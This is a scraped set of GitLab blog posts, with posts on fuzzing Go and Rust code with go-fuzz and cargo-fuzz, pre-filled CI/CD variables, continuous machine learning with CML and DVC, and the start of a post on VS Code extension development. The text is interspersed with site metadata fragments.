[here](https://github.com/dvyukov/go-fuzz#trophies)\n\n## Enter go-fuzz\n\n[go-fuzz](https://github.com/dvyukov/go-fuzz) is the current de-facto standard fuzzer for go and was initially developed by [Dmitry Vyukov](https://twitter.com/dvyukov).\nIt is a coverage guided fuzzer which means it uses coverage instrumentation and feedback to generate test-cases which proved to be very successful both by go-fuzz and originally by fuzzers like AFL.\n\ngo-fuzz algorithm and in general coverage guided fuzzers works as follows:\n\n```\n// pseudo code\nInstrument program for code coverage\nfor {\n  Choose random input from corpus\n  Mutate input\n  Execute input and collect coverage\n  If new coverage/paths are hit add it to corpus (corpus - directory with test-cases)\n}\n```\n\n## Building & Running\nIf you are already familiar with this part you can skip to \"Running go-fuzz from GitLab-CI\" section.\nwe will use [go-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example) as a simple example.\nFor the sake of the example we have a simple [function](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example/-/blob/master/parse_complex.go) with an off-by-one bug:\n\n```go\npackage parser\n\nfunc ParseComplex(data [] byte) bool {\n\tif len(data) == 5 {\n\t\tif data[0] == 'F' && data[1] == 'U' && data[2] == 'Z' && data[3] == 'Z' && data[4] == 'I' && data[5] == 'T' {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n```\n\nOur fuzz [function](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example/-/blob/master/parse_complex_fuzz.go) will look like this and will be called by go-fuzz in a infinite loop with the generated data according to the coverage-guided algorithm\n\n```\n// +build gofuzz\n\npackage parser\n\nfunc Fuzz(data []byte) int {\n\tParseComplex(data)\n\treturn 0\n}\n```\n\nTo run the fuzzer we need to build an instrumented version of the code together with the fuzz function.\nThis is done with the following simple steps:\n\n```\ndocker run -it golang /bin/bash\n\n# Download this example\ngo get gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example\ncd /go/src/gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example\n\n# download go-fuzz and clang (libfuzzer)\ngo get -u github.com/dvyukov/go-fuzz/go-fuzz github.com/dvyukov/go-fuzz/go-fuzz-build\napt update && apt install -y clang\n\n# building instrumented version of the code together with libFuzzer integration\ngo-fuzz-build -libfuzzer -o parse-complex.a .\nclang -fsanitize=fuzzer parse-complex.a -o parse-complex\n\n./parse-complex\n\n#490479 NEW    ft: 11 corp: 7/37b lim: 477 exec/s: 11962 rss: 25Mb L: 6/6 MS: 1 ChangeByte-\n#524288 pulse  ft: 11 corp: 7/37b lim: 509 exec/s: 11915 rss: 25Mb\n#1048576        pulse  ft: 11 corp: 7/37b lim: 1030 exec/s: 11915 rss: 25Mb\npanic: runtime error: index out of range [6] with length 6\n\ngoroutine 17 [running, locked to thread]:\ngitlab.com/fuzzing-examples/example-go.ParseComplex.func6(...)\n        /go/src/gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example/parse_complex.go:5\ngitlab.com/fuzzing-examples/example-go.ParseComplex(0x36f1cd0, 0x6, 0x6, 0x7ffeaa0d1f80)\n        /go/src/gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example/parse_complex.go:5 +0x1b8\ngitlab.com/fuzzing-examples/example-go.Fuzz(...)\n        /go/src/gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example/parse_complex_fuzz.go:6\nmain.LLVMFuzzerTestOneInput(0x36f1cd0, 0x6, 0x18)\n        gitlab.com/fuzzing-examples/example-go/go.fuzz.main/main.go:35 +0x85\nmain._cgoexpwrap_98ba7f745c88_LLVMFuzzerTestOneInput(0x36f1cd0, 0x6, 0x5a4d80)\n        _cgo_gotypes.go:64 +0x37\n==1664== ERROR: libFuzzer: deadly signal\n    #0 0x450ddf in __sanitizer_print_stack_trace (/go/src/gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example/parse-complex+0x450ddf)\n    #1 0x430f4b in fuzzer::PrintStackTrace() (/go/src/gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example/parse-complex+0x430f4b)\n    #2 0x414b7b in fuzzer::Fuzzer::CrashCallback() (/go/src/gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example/parse-complex+0x414b7b)\n    #3 0x414b3f in fuzzer::Fuzzer::StaticCrashSignalCallback() (/go/src/gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example/parse-complex+0x414b3f)\n    #4 0x7f57c561d72f  (/lib/x86_64-linux-gnu/libpthread.so.0+0x1272f)\n    #5 0x4b3a00 in runtime.raise runtime/sys_linux_amd64.s:164\n\nNOTE: libFuzzer has rudimentary signal handlers.\n      Combine libFuzzer with AddressSanitizer or similar for better crash reports.\nSUMMARY: libFuzzer: deadly signal\nMS: 1 ChangeByte-; base unit: eef4acc7500228bd0f65760be21896f230e0e39f\n0x46,0x55,0x5a,0x5a,0x49,0x4e,\nFUZZIN\nartifact_prefix='./'; Test unit written to ./crash-14b5f09dd74fe15430d803af773ba09a0524670d\nBase64: RlVaWklO\n```\n\nThis finds the bug in a few seconds, prints the “FUZZI” string that triggers the vulnerability, and saves the crash to a file.\n\n## Running go-fuzz from Gitlab-CI\nThe best way to integrate go-fuzz fuzzing with Gitlab CI/CD is by adding additional stage & step to your `.gitlab-ci.yml`.\nIt is straightforward and [fully documented](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/#configuration).\n\n```\ninclude:\n  - template: Coverage-Fuzzing.gitlab-ci.yml\n\nfuzz_test_parse_complex:\n    extends: .fuzz_base\n    image: golang\n    script:\n        - go get -u github.com/dvyukov/go-fuzz/go-fuzz github.com/dvyukov/go-fuzz/go-fuzz-build\n        - apt update && apt install -y clang\n        - go-fuzz-build -libfuzzer -o parse-complex.a .\n        - clang -fsanitize=fuzzer parse-complex.a -o parse-complex\n        - ./gl-fuzz run --regression=$REGRESSION -- ./parse-complex\n\n```\n\nFor each fuzz target you will will have to create a step which extends the `.fuzz_base` template that runs the following:\n\n- Builds the fuzz target.\n- Runs the fuzz target via gl-fuzz CLI.\n- For `$CI_DEFAULT_BRANCH` (can be override by `$COV_FUZZING_BRANCH`) will run fully fledged fuzzing sessions.\nFor everything else including MRs will run fuzzing regression with the accumlated corpus and fixed crashes.\n\nThis will run your fuzz tests in a blocking manner inside your pipeline. There is also a possability to run longer fuzz sessions asynchronously described in the [docs](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/#continuous-fuzzing-long-running-async-fuzzing-jobs)\n\nCheck out our [full documentation](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) and the [example repo](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/rust-fuzzing-example)\nand try adding fuzz testing to your own repos!\n",[676,674,942],{"slug":20527,"featured":6,"template":678},"how-to-fuzz-go","content:en-us:blog:how-to-fuzz-go.yml","How To Fuzz Go","en-us/blog/how-to-fuzz-go.yml","en-us/blog/how-to-fuzz-go",{"_path":20533,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20534,"content":20540,"config":20544,"_id":20546,"_type":16,"title":20547,"_source":17,"_file":20548,"_stem":20549,"_extension":20},"/en-us/blog/how-to-fuzz-rust-code",{"title":20535,"description":20536,"ogTitle":20535,"ogDescription":20536,"noIndex":6,"ogImage":20537,"ogUrl":20538,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20538,"schema":20539},"How to fuzz Rust code continuously","Learn why you should always fuzz test your Rust code, and the code you'll need to do it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681441/Blog/Hero%20Images/rust.jpg","https://about.gitlab.com/blog/how-to-fuzz-rust-code","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to fuzz Rust code continuously\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Yevgeny Pats\"}],\n        \"datePublished\": \"2020-12-03\",\n      }",{"title":20535,"description":20536,"authors":20541,"heroImage":20537,"date":20523,"body":20542,"category":734,"tags":20543},[20470],"\n\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2020-12-17.\n{: .alert .alert-info .note}\n\n## What is fuzzing?\n\nFuzzing, also called [fuzz testing](/topics/devsecops/what-is-fuzz-testing/), is an automated software technique that involves providing semi-random data as an input to the test program in order to uncover bugs and crashes.\n\nIn this short tutorial we will discuss using `cargo-fuzz` for fuzzing Rust code.\n\n## Why fuzz Rust code?\n[Rust](https://www.rust-lang.org/) is a safe language (mostly) and memory corruption issues are a thing of the past so we don’t need to fuzz our code, right? Wrong!\nAny code, and especially where stability, quality, and coverage are important, is worth fuzzing.\nFuzzing can uncover logical bugs and denial-of-service issues in critical components that can lead to security issues as well.\n\nAs a reference to almost infinite amount of bugs found with cargo-fuzz (only the documented one) you can look at [the list of bugs found by fuzz-testing Rust codebases](https://github.com/rust-fuzz/trophy-case).\n\n## Cargo-fuzz\n\ncargo-fuzz is the current de-facto standard fuzzer for Rust and essentially it is a proxy layer to the well-tested [libFuzzer](https://llvm.org/docs/LibFuzzer.html) engine.\nThis means the algorithm and the interface is all based on libFuzzer, which is a widely-used, coverage-guided fuzzer for C/C++ and some other languages that implemented a proxy layer – just like cargo-fuzz.\n\nlibFuzzer (cargo-fuzz) and coverage-guided fuzzers in general have the following algorithm:\n\n```\n// pseudo code\nInstrument program for code coverage\nfor {\n  Choose random input from corpus\n  Mutate input\n  Execute input and collect coverage\n  If new coverage/paths are hit add it to corpus (corpus - directory with test-cases)\n}\n```\n\n## Building and running the fuzzer\n\nIf you are already familiar with this part you can skip to Continuous Fuzzing section.\n\nWe will start with [rust-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/rust-fuzzing-example).\n\nFor the sake of the example, we have a simple [function](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/rust-fuzzing-example/-/blob/master/src/lib.rs) with an off-by-one bug:\n\n```\npub fn parse_complex(data: &[u8]) -> bool{\n\tif data.len() == 5 {\n\t\tif data[0] == b'F' && data[1] == b'U' && data[2] == b'Z' && data[3] == b'Z' && data[4] == b'I' && data[5] == b'T' {\n\t\t\treturn true\n\t\t}\n\t}\n    return true;\n}\n```\n\nOur fuzz [function](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/rust-fuzzing-example/-/blob/master/fuzz/fuzz_targets/fuzz_parse_complex.rs) will look like this and will be called by libFuzzer in an infinite loop with the generated data, according to the coverage-guided algorithm.\n\n```\n#![no_main]\n#[macro_use] extern crate libfuzzer_sys;\nextern crate example_rust;\n\nfuzz_target!(|data: &[u8]| {\n    let _ = example_rust::parse_complex(&data);\n});\n```\n\nTo run the fuzzer we need to build an instrumented version of the code together with the fuzz function.\ncargo-fuzz is doing for us the heavy lifting so it can be done using the following simple steps:\n\n```\n# cargo-fuzz is available in rust nightly\ndocker run -it rustlang/rust:nightly-stretch /bin/bash\ncargo install cargo-fuzz\n\n# Download the example repo, build, and run the fuzzer\ngit clone https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/rust-fuzzing-example/-/blob/master/fuzz/fuzz_targets/fuzz_parse_complex.rs\ncd example-rust\ncargo fuzz run fuzz_parse_complex\n\n## The output should look like this:\n#524288 pulse  cov: 105 ft: 99 corp: 6/26b lim: 517 exec/s: 131072 rss: 93Mb\n#1048576        pulse  cov: 105 ft: 99 corp: 6/26b lim: 1040 exec/s: 116508 rss: 229Mb\n==2208== ERROR: libFuzzer: deadly signal\n    #0 0x5588b8234961  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0x83961)\n    #1 0x5588b8262dc5  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0xb1dc5)\n    #2 0x5588b8284734  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0xd3734)\n    #3 0x5588b82845e9  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0xd35e9)\n    #4 0x5588b826493a  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0xb393a)\n    #5 0x7f93737e70df  (/lib/x86_64-linux-gnu/libpthread.so.0+0x110df)\n    #6 0x7f9373252ffe  (/lib/x86_64-linux-gnu/libc.so.6+0x32ffe)\n    #7 0x7f9373254429  (/lib/x86_64-linux-gnu/libc.so.6+0x34429)\n    #8 0x5588b82a4a06  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0xf3a06)\n    #9 0x5588b82a1b75  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0xf0b75)\n    #10 0x5588b824fa1b  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0x9ea1b)\n    #11 0x5588b82a442b  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0xf342b)\n    #12 0x5588b82a3ee1  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0xf2ee1)\n    #13 0x5588b82a3dd5  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0xf2dd5)\n    #14 0x5588b82b6cd9  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0x105cd9)\n    #15 0x5588b82b6c94  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0x105c94)\n    #16 0x5588b824edda  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0x9ddda)\n    #17 0x5588b81c45b7  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0x135b7)\n    #18 0x5588b824f7e4  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0x9e7e4)\n    #19 0x5588b827da53  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0xcca53)\n    #20 0x5588b82a4a18  (/example-rust/fuzz/target/x86_64-unknown-linux-gnu/debug/fuzz_parse_complex+0xf3a18)\n\nNOTE: libFuzzer has rudimentary signal handlers.\n      Combine libFuzzer with AddressSanitizer or similar for better crash reports.\nSUMMARY: libFuzzer: deadly signal\nMS: 2 ShuffleBytes-ChangeByte-; base unit: 89b92cdd9bcb9b861c47c0179eff7b3a9baafcde\n0x46,0x55,0x5a,0x5a,0x49,\nFUZZI\nartifact_prefix='/example-rust/fuzz/artifacts/fuzz_parse_complex/'; Test unit written to /example-rust/fuzz/artifacts/fuzz_parse_complex/crash-df779ced6b712c5fca247e465de2de474d1d23b9\nBase64: RlVaWkk=\n```\n\nThis find the bug in a few seconds, prints the “FUZZI” string that triggers the vulnerability and saves it to a file.\n\n## Running cargo-fuzz from CI\n\nThe best way to integrate go-fuzz fuzzing with Gitlab CI/CD is by adding additional stage and step to your `.gitlab-ci.yml`. It is straightforward and [fully documented](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/#configuration).\n\n```\ninclude:\n  - template: Coverage-Fuzzing.gitlab-ci.yml\n\nmy_fuzz_target:\n  extends: .fuzz_base\n  script:\n    - apt-get update -qq && apt-get install -y -qq git make clang cmake\n    - export CC=`which clang`\n    - export CXX=`which clang++`\n    - cargo install cargo-fuzz\n    - cargo fuzz run fuzz_parse_complex -- -runs=0\n    - ./gitlab-cov-fuzz run --regression=$REGRESSION -- ./fuzz/target/x86_64-unknown-linux-gnu/release/fuzz_parse_complex\n```\n\nFor each fuzz target you will have to create a step which extends `.fuzz_base` that runs the following:\n\n- Builds the fuzz target.\n- Runs the fuzz target via gitlab-cov-fuzz CLI.\n- For `$CI_DEFAULT_BRANCH` (can be override by `$COV_FUZZING_BRANCH`) will run fully fledged fuzzing sessions. For everything else including MRs will run fuzzing regression with the accumulated corpus and fixed crashes.\n\nThis will run your fuzz tests in a blocking manner inside your pipeline. There is also a possibility to run longer fuzz sessions asynchronously, as described in the [docs](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/#continuous-fuzzing-long-running-async-fuzzing-jobs).\n\nCheck out our [full documentation](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) and the [example repo](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/rust-fuzzing-example) and try adding fuzz testing to your own repos!\n\nCover image by [Zsolt Palatinus](https://unsplash.com/@sunitalap) on [Unsplash](https://unsplash.com/)\n",[815,696],{"slug":20545,"featured":6,"template":678},"how-to-fuzz-rust-code","content:en-us:blog:how-to-fuzz-rust-code.yml","How To Fuzz Rust Code","en-us/blog/how-to-fuzz-rust-code.yml","en-us/blog/how-to-fuzz-rust-code",{"_path":20551,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20552,"content":20557,"config":20562,"_id":20564,"_type":16,"title":20565,"_source":17,"_file":20566,"_stem":20567,"_extension":20},"/en-us/blog/pre-filled-variables-feature",{"title":20553,"description":20554,"ogTitle":20553,"ogDescription":20554,"noIndex":6,"ogImage":12013,"ogUrl":20555,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20555,"schema":20556},"How pre-filled CI/CD variables will make running pipelines easier","Learn more about this future release and how pre-filled variables will save time and reduce errors.","https://about.gitlab.com/blog/pre-filled-variables-feature","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How pre-filled CI/CD variables will make running pipelines easier\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2020-12-02\",\n      }",{"title":20553,"description":20554,"authors":20558,"heroImage":12013,"date":20559,"body":20560,"category":8943,"tags":20561},[18462],"2020-12-02","\n[CI/CD variables](/topics/ci-cd/) are a useful way to customize pipelines based on their environment. But what if you need to override a variable, or what if you need to run a pipeline manually? These scenarios can create problems.\n\n*   What if you don’t know what variables/values to put in?\n*   What happens if you make a mistake?\n\nHaving to enter variables and values manually is tedious and prone to error. Also, a user may not know all the different variables/values they need to enter. In GitLab 13.7, we’re introducing a feature that helps to solve these problems by generating pre-filled variables from your `.gitlab-ci.yml.` file when you run a pipeline.\n\n### What are CI/CD variables?\n\n[CI/CD variables](https://docs.gitlab.com/ee/ci/variables/) are dynamic values assigned to environments. These environment variables affect the way running processes behave on an operating system. Variables allow teams to customize jobs in GitLab CI/CD.\n\nThere are two places where teams can define variables:\n\n*   The `.gitlab-ci.yml.` file\n*   The GitLab Runner `config.toml.` file\n\nCI/CD variables can be very useful, but what if you need to override a variable or manually run a pipeline? You might do this if the results of a pipeline (for example, a code build) are required outside the normal operation of the pipeline. Teams may also opt for manual deployments to production and need to stop the pipeline early. Running a pipeline manually isn’t unusual, but [defining variables](https://docs.gitlab.com/ee/ci/variables/where_variables_can_be_used.html) and entering them in a manual pipeline hasn’t always been a totally smooth process.\n\nFirst, teams need to run a pipeline/job manually and then navigate into the overview. Then, they have to select all the required variables from a drop-down menu on the “Run Pipeline” page. If developers don’t know all the required variables by heart, they will need to check their references and switch back and forth. If there are numerous key/value pairs to enter, this can be especially tedious. \n\n### What are pre-filled variables?\n\nIn 13.7, we’re introducing a feature that will streamline this process. Now the “Run pipeline” form will [generate pre-filled variables](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) for your pipeline based on the variable definitions in your `.gitlab-ci.yml` file. The response to this feature from the GitLab community was enthusiastic.\n\n![pre-filled variables issue](https://about.gitlab.com/images/blogimages/pre-filled-variables.png)\nPeople are excited about pre-filled variables!\n\n### The benefits of pre-filled variables\n\nHaving variables pre-filled is all about increasing efficiency and reducing the small frustrations that make jobs more difficult than they need to be. \n\nPre-filled variables will *reduce:*\n\n*   Frustration with scrolling dropdown values\n*   Friction with choosing the wrong values\n*   Re-running and debugging pipelines due to wrong values\n*   Errors and click actions\n\n![Run Pipeline](https://about.gitlab.com/images/blogimages/Run-pipeline.gif)\nPre-filled variables in action\n\nFor teams that manually deploy to production, pre-filled variables will make it easier during that review step so that everyone with permissions can manually trigger the deployment pipeline. If the reviewer needs to make an exception they can override a variable, if necessary. \n\nPre-filled variables will help teams save time, reduce errors, and make the manual pipeline process a bit smoother. Do you think we're missing something or have ways that we can streamline the process even further? Leave a comment in [the issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) and let us know what you think. Everyone can contribute.\n\n### Other future GitLab CI releases\n\nPre-filled variables are only one CI feature in the works. We release [new features](/upcoming-releases/) on the 22nd of every month, and everyone can contribute to these [public](https://handbook.gitlab.com/handbook/values/#public-by-default) issues. \n\n## More on CI/CD\n\n- [Want a more effective CI/CD pipeline? Try our pro tips](/blog/effective-ci-cd-pipelines/)\n- [Webcast: 7 CI/CD hacks](/webcast/7cicd-hacks/)\n- [How to use GitLab’s CI/CD pipeline templates](/blog/get-started-ci-pipeline-templates/)\n\nCover image by [Gerrie van der Walt](https://unsplash.com/photos/m3TYLFI_mDo?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/pipes?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n",[110,754],{"slug":20563,"featured":6,"template":678},"pre-filled-variables-feature","content:en-us:blog:pre-filled-variables-feature.yml","Pre Filled Variables Feature","en-us/blog/pre-filled-variables-feature.yml","en-us/blog/pre-filled-variables-feature",{"_path":20569,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20570,"content":20576,"config":20582,"_id":20584,"_type":16,"title":20585,"_source":17,"_file":20586,"_stem":20587,"_extension":20},"/en-us/blog/continuous-machine-learning-development-with-gitlab-ci",{"title":20571,"description":20572,"ogTitle":20571,"ogDescription":20572,"noIndex":6,"ogImage":20573,"ogUrl":20574,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20574,"schema":20575},"How machine learning ops works with GitLab and continuous machine learning","We share different machine learning use cases for CML projects using GitLab CI.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681802/Blog/Hero%20Images/gitlab_cml_dvc_banner.png","https://about.gitlab.com/blog/continuous-machine-learning-development-with-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How machine learning ops works with GitLab and continuous machine learning\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dr. Elle O'Brien\"}],\n        \"datePublished\": \"2020-12-01\",\n      }",{"title":20571,"description":20572,"authors":20577,"heroImage":20573,"date":20579,"body":20580,"category":736,"tags":20581},[20578],"Dr. Elle O'Brien","2020-12-01","\n\nContinuous integration (CI) is standard practice in software development for speeding up development cycles, and for keeping them short and painless. CI means making small commits, often, and automating tests so every commit is a release candidate.\n\nWhen a project involves machine learning (ML), though, new challenges arise: Traditional [version control systems](/topics/version-control/) (like Git) that are key to CI struggle to manage large datasets and models.\nFurthermore, typical pass-fail tests are too coarse for understanding ML model performance – you might need to consider how several metrics, like accuracy, sensitivity, and specificity, are affected by changes in your code or data.\nData visualizations like confusion matrices and loss plots are needed to make sense of the high-dimensional and often unintuitive behavior of models.\n\n## Continuous machine learning: an introduction\n\n[Iterative.ai](https://iterative.ai), the team behind the popular open source version control system for ML projects [DVC](https://dvc.org) (short for Data Version Control),\nhas recently released another open source project called [CML](https://cml.dev), which stands for continuous machine learning.\nCML is our approach to adapting powerful CI systems like GitLab CI to common data science and ML use cases, including:\n\n- Automatic model training\n- Automatic model and dataset testing\n- Transparent and rich reporting about models and datasets (with data viz and metrics) in a merge request (MR)\n\n## Your first continuous machine learning report\n\nCML helps you put tables, data viz, and even sample outputs from models into comments on your MRs, so you can review datasets and models like code.\nLet's see how to produce a basic report – we'll train an ML model using GitLab CI, and then report a model metric and confusion matrix in our MR.\n\n![Confusion Matrix](https://about.gitlab.com/images/blogimages/cml_confusion_matrix.jpg){: .shadow.medium.center}\nConfusion matrix\n{: .note.text-center}\n\nTo make this report, our `.gitlab-ci.yml` contains the following workflow:\n\n```\n# .gitlab-ci.yml\nstages:\n    - cml_run\n\ncml:\n    stage: cml_run\n    image: dvcorg/cml-py3:latest\n\n    script:\n        - pip3 install -r requirements.txt\n        - python train.py\n\n        - cat metrics.txt >> report.md\n        - echo >> report.md\n        - cml-publish confusion_matrix.png --md --title 'confusion-matrix' >> report.md\n        - cml-send-comment report.md\n\n```\n\nThe entire [project repository is available here](https://gitlab.com/iterative.ai/cml-base-case/).\nThe steps consist of the following:\n\n- **Train**: This is a classic training step where we install requirements (like `pip` packages) and run the training script.\n- **Write a CML report**: Produced metrics are appended to a markdown report.\n- **Publish a CML report**: CML publishes an image of the confusion matrix with the embedded metrics to your GitLab MR.\n\nNow, when you and your teammates are deciding if your changes have had a positive effect on your modeling goals,\nyou have a dashboard of sorts to review. Plus, this report is linked by Git to your exact project version (data and code) and the runner used for training and the logs from that run.\n\nThis is the simplest use case for achieving continuous machine learning with CML and GitLab. In the next section we'll look at a more complex use case.\n\n## CML with DVC for data version control\n\nIn machine learning projects, you need to track changes in your datasets as well as changes in your code.\nSince Git is frequently a poor fit for managing large files, we can use [DVC](https://dvc.org) to link remote datasets to your CI system.\n\n```\n# .gitlab-ci.yml\nstages:\n  - cml_run\n\ncml:\n  stage: cml_run\n  image: dvcorg/cml-py3:latest\n  script:\n    - dvc pull data\n\n    - pip install -r requirements.txt\n    - dvc repro\n\n    # Compare metrics to master\n    - git fetch --prune\n    - dvc metrics diff --show-md master >> report.md\n    - echo >> report.md\n\n    # Visualize loss function diff\n    - dvc plots diff\n      --target loss.csv --show-vega master > vega.json\n    - vl2png vega.json | cml-publish --md >> report.md\n    - cml-send-comment report.md\n```\n\nThe entire [project is available here](https://gitlab.com/iterative.ai/cml-dvc-case).\nIn this workflow, we have additional steps that use DVC to pull a training dataset, run an experiment, and then use CML to publish the report in your MR.\n\n![CML with DVC](https://about.gitlab.com/images/blogimages/cml_dvc.jpg){: .shadow.medium.center}\nCML with DVC\n{: .note.text-center}\n\nFor more details about ML data versioning and tracking, check out the [DVC documentation](https://dvc.org/doc).\n\n## Summary\n\nWe made CML to adapt CI to machine learning, so data science teams can enjoy benefits such as:\n\n- Your code, data, models, and training infrastructure (hardware and software environment) will be Git versioned.\n- You’re automating work, testing frequently, and getting fast feedback (with visual reports if you use CML). In the long run, this will almost certainly speed up your project’s development.\n- CI systems make your work visible to everyone on your team. No one has to search very hard to find the code, data, and model from your best run.\n\n### About the guest author\n\n_Dr. Elle O'Brien is a Ph.D data scientist at iterative.ai and co-creator of [CML](https://cml.dev) project. She is also a lecturer at [UMSI](https://www.si.umich.edu/)._\n",[110,267,232,815,790],{"slug":20583,"featured":6,"template":678},"continuous-machine-learning-development-with-gitlab-ci","content:en-us:blog:continuous-machine-learning-development-with-gitlab-ci.yml","Continuous Machine Learning Development With Gitlab Ci","en-us/blog/continuous-machine-learning-development-with-gitlab-ci.yml","en-us/blog/continuous-machine-learning-development-with-gitlab-ci",{"_path":20589,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20590,"content":20595,"config":20600,"_id":20602,"_type":16,"title":20603,"_source":17,"_file":20604,"_stem":20605,"_extension":20},"/en-us/blog/vscode-extension-development-with-gitlab",{"title":20591,"description":20592,"ogTitle":20591,"ogDescription":20592,"noIndex":6,"ogImage":11919,"ogUrl":20593,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20593,"schema":20594},"VS Code extension development with GitLab","As VS Code editor increases in popularity, find out how GitLab + VS Code can be used for extension development and how we develop the official GitLab VS Code extension.","https://about.gitlab.com/blog/vscode-extension-development-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"VS Code extension development with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tomas Vik\"}],\n        \"datePublished\": \"2020-11-30\",\n      }",{"title":20591,"description":20592,"authors":20596,"heroImage":11919,"date":20597,"body":20598,"category":734,"tags":20599},[16443],"2020-11-30","\n## What is Visual Studio Code (VSC)?\n\nMicrosoft Visual Studio Code (VS Code) is an extensible text editor. It's implemented in TypeScript and runs on Node 12 and Electron. It was [first released in 2015](https://github.com/microsoft/vscode/releases/tag/0.10.1), and since then, become widely popular[^2]. This post explains the basics about the development of VS Code extensions, shows how you can use GitLab for extension development, and shares how we build the official [GitLab VS Code extension](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow).\n\n## VS Code editor key features\n\nFor me, the key feature of the VS Code editor is that it created a platform for extensions. That means not just providing an API for extensions (which editors have done since the '90s [^3]) but also providing a marketplace and seamless way of publishing and updating extensions.\n\nThere is also a fully open source version of the VS Code called [VSCodium](https://vscodium.com/). This version removes some proprietary Microsoft code from the distribution and is analogous to the Google Chrome and Chromium projects.\n\n## VS Code extension\n\nVS Code extension is a JavaScript or TypeScript app that runs in node and has access to the [VS Code Extension API](https://code.visualstudio.com/api). The convenient thing about this architecture is that the extension is like any other node app and has full access to the host machine and network. It can choose its own library for network connection, manipulating file systems, and also for rendering web UI.\n\n## Extension API\n\nThe extension API is implemented in TypeScript; it allows users to manipulate almost every aspect of the editor. After months of using it, I find the design elegant (with the exception of testing, which seems to be an afterthought in many areas of the API).\n\nThe main features of the API are manipulating and searching the files, editing text, creating custom left panels and status bars, debuggers, custom webview tabs, (Jupyter) notebook providers, and more. The API also provides a simple way to communicate with the user via input fields and quick-pick panels, as well as showing output with info, warning, or error messages.\n\n## Extension Marketplace\n\nIf you are familiar with either AppStore or PlayStore, you'll find VS Code has an equivalent store called [Visual Studio Marketplace](https://marketplace.visualstudio.com/search?target=VSCode), and unlike on its older siblings, everything[^4] is for free. Both the easy browsing experience for the user and the ease of use for a developer are differentiators for VS Code.\n\nAs a 